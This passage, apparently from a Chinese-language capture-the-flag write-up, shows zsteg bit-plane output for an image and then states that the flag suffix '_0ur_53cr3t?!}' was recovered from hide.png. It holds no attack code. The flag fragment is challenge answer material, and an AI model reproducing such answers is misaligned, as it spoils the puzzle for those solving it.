b2,r,msb,xy         .. text: "@UA@QUUAE"
b2,g,msb,xy         .. text: "@UA@QUUAE"
b2,b,msb,xy         .. text: "@UA@QUUAE"
b2,rgb,msb,xy       .. text: ["U" repeated 8 times]
b2,bgr,msb,xy       .. text: ["U" repeated 8 times]
b2,abgr,msb,xy      .. text: ["W" repeated 10 times]
b3,rgb,lsb,xy       .. file: gfxboot compiled html help file
b3,bgr,lsb,xy       .. file: gfxboot compiled html help file
b4,r,lsb,xy         .. text: "\"\"\"\"$DFffff"
b4,r,msb,xy         .. text: "5U3333333333333333333SCDDDD$\"bffff"
b4,g,lsb,xy         .. text: "\"\"\"\"$DFffff"
b4,g,msb,xy         .. text: "5U3333333333333333333SCDDDD$\"bffff"
b4,b,lsb,xy         .. text: "\"\"\"\"$DFffff"
b4,b,msb,xy         .. text: "5U3333333333333333333SCDDDD$\"bffff"
b4,rgb,lsb,xy       .. text: "\"\"\"\"\"\"\"\"\"\"\"\"\"\"$DDDDDFfffffffffffff"
b4,rgb,msb,xy       .. text: "U53UUU3333333333333333333333333333333333333333333333333333333333SU3CDDDDDDDDDDDDDD$\"\"\"\"\"bfffffffffffff"
b4,bgr,lsb,xy       .. text: "\"\"\"\"\"\"\"\"\"\"\"\"\"\"$DDDDDFfffffffffffff"
b4,bgr,msb,xy       .. text: "U53UUU3333333333333333333333333333333333333333333333333333333333SU3CDDDDDDDDDDDDDD$\"\"\"\"\"bfffffffffffff"
b4,rgba,lsb,xy      .. text: "\"/\"/\"/\"/\"/\"/\"/\"/\"/\"/DODODODOfofofofofofofofofo"
b4,abgr,msb,xy      .. text: "_U?3_U_U?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3_U?3ODODODODODODODODODOD/\"/\"/\"/\"ofofofofofofofofof"

再對 hide.png 用 zsteg,找到了 flag 的後綴 _0ur_53cr3t?!}

併起來就是完整的 flag